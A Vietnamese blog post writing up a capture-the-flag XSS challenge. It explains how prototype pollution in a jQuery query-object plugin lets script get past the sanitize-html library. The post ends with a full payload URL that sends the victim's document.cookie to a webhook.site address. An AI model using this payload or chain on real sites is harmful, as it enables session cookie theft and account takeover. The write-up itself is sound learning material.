Phải nói là lâu lắm rồi mình không viết blog. Chơi xong giải này mới thấy mình quên mất một số kiến thức hay ho nên phải lưu lại ngay =))
Mình xin write-up bài khá là hay trong lần thi này: xss for newbie ¯\_(ツ)_/¯
Đọc xong đề và làm bài này thì mình thấy mình còn thua cả NEWBIE :’‑(
Đọc xong đề bài mình đoán chắc là 90% yêu cầu tìm lỗi XSS rồi, còn cái meme thì mình đoán là lỗi XSS này không yêu cầu người dùng tương tác (như click chẳng hạn ¯\_(ツ)_/¯) mà nó sẽ tự chạy khi người dùng truy cập vào link độc hại.
Xem đề cho gì nào
Front-end
Back-end (đùa chút, là code ở front end)
<!DOCTYPE html>
<html>
<head>
<title>
UIT web player only love server side, but it not mean we dont know how to
solve client side
</title>
</head>
<body>
< script src="https://cdnjs.cloudflare.com/ajax/libs/sanitize-html/1.27.5/sanitize-html.min.js"></ script>
< script src="https://code.jquery.com/jquery-3.5.1.js"></ script>
< script src="https://raw.githack.com/alrusdi/jquery-plugin-query-object/9e5871fbb531c5e246aac2aaf056b237bc7cc0a6/jquery.query-object.js"></ script>
<p>
if you found anything pls tell me (make sure it is really a bug,pls try it
in your local first)
</p>
<form action="/report">
<input type="text" name="url" placeholder="http://example.com" /><input
type="submit"
value="Submit"
/>
</form>
<br />
< script>
let html = window.location.search.substr(1).split("&")[0].split("=")[1]
? window.location.search.substr(1).split("&")[0].split("=")[1]
: "<h1>hello</h1>";
document.write(sanitizeHtml(decodeURIComponent(html)));
console.log(sanitizeHtml(decodeURIComponent(html)));
</ script>
</body>
</html>
Để ý kĩ một chút, đầu tiên website dùng JS để lọc lấy giá trị truy vẫn đầu tiên của URL window.location.search.substr(1).split("&")[0].split("=")[1]
. Đoạn JS này sẽ lấy toàn bộ chuỗi truy vấn của URL, dùng hàm substr
loại bỏ giá trị đầu tiên (là dấu ?
), tách thành mảng của cách thành phần truy vẫn thông qua dấu &
, và lấy giá trị đầu tiên. Sau đó, chuỗi này tiếp tục tách thành mảng qua kí tự =
và lấy phần tử thứ hai, tức là giá trị của phần tử truy vấn đó. VD: Nếu URL đầu vào là https://example.com?foo=bar&aa=bb
thì đoạn JavaScript này sẽ lấy ra chuỗi bar
. Sau đó, chuỗi này sẽ được ghi trực tiếp vào DOM HTML thông qua hàm document.write
. Aha! XSS ở ngay đoạn này! Hàm document.write
sẽ ghi trực tiếp vào DOM cả các thẻ HTML độc hại mà không hề parse nó thành các đoạn text! (https://developer.mozilla.org/en-US/docs/Web/API/Document/write
)
Nhưng không dễ như vậy. Ở đây, tác giả đã import thêm 1 hàm sanitizeHtml
để validate các kí tự đầu vào trước khi ghi vào DOM.
<a href="https://cdnjs.cloudflare.com/ajax/libs/sanitize-html/1.27.5/sanitize-html.min.js">https://cdnjs.cloudflare.com/ajax/libs/sanitize-html/1.27.5/sanitize-html.min.js</a>
Thư viện này giúp chúng ta lọc các thẻ HTML độc hại trước khi khi vào DOM, gần như là không thể tấn công XSS, các bạn có thể đọc thêm trên Github, và thử trực tiếp ở source code ở trên.

Không điều gì làm khó được chúng ta cả ʕっ• ᴥ • ʔっNgay sau đó tôi tìm vulnerability của thư viện

Version mà bài thi sử dụng là 1.27.5, tức là không bị dính lỗi XSS nào cả ¯\_(ツ)_/¯
Tuy nhiên mình vẫn mò xem các lỗi trên xem có thực thi được đến XSS không, nhưng nó chỉ xảy ra nếu thì dùng thêm “option” khi dùng hàm “sanitizeHtml”. Đến đây mình stuck và mất cả buổi sáng chỉ để xem còn có vul nào chưa được public không và khai thác các vul trên :’‑(
Cuối cùng mình bó tay và xin được hint từ đàn anh đáng kính
https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/jquery-query-object.md
https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/sanitize-html.md
Mình xin giải thích như sau: Bên trên tác giả đã import thêm 2 lib JQuery
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script src="https://raw.githack.com/alrusdi/jquery-plugin-query-object/9e5871fbb531c5e246aac2aaf056b237bc7cc0a6/jquery.query-object.js"></script>
Nhìn có vẻ thừa thãi, vì đoạn code tay không gọi hàm nào tới nhưng thực ra nó chứa vul, và nó tự chạy khi có chuỗi truy vấn trên URL.

Lib JQuery này bị lỗi prototype poluttion, và mình lợi dụng lỗi này để tạo gadget trigger XSS. Mình sử dụng luôn Poc này

Vul của lib JQuery sẽ khiến mọi object có trường innerText là sẽ có giả trị là thẻ HTML độc hại kia (nhờ vào kế thừa thuộc tính “__proto__”). Và khi dùng hàm “sanitizeHtml”, thư viện sẽ sử dụng hàm innerText và trả về các thẻ HTML độc hại kia chứ không phải hàm innerText có sẵn trong Object của JavaScript.

Đến đây thì mình build payload để thử XSS thôi, lấy luôn payload của PoC

Mình thêm thẻ <a /> vào để hàm “sanitizeHtml” trigger XSS.
Đề bài cho 1 ô input để submit URL chứa XSS, thực chất để mình lấy flag từ việc đánh cắp cookie. Đề cho hint thêm
Đến đây mình tạo 1 server để nhận HTTP request chứa cookie từ localhost cổng 8000. Các bạn có thể dùng hàm fetch hoặc redirect, ném cookie vào URL để đẩy cookie đó về server của mình.
Final payload có dạng
http://localhost:8000/?proto%5BinnerText%5D=%3Cscript%3Ewindow.location.href%20%3D%20%22https%3A%2F%2Fwebhook.site%2F802fca86-56e9-42cb-946a-0a852670cf33%3Fdata%3D%22%2Bdocument.cookie%3B%3C/script%3E%3Ca/%3E
flag=Wanna.One{xss_for_kid} |
Giải xong bài này mình thấy bản thân mình còn rất gà mảng web (╥﹏╥) Trong thời gian tới mình sẽ cố gắng hơn (noob!)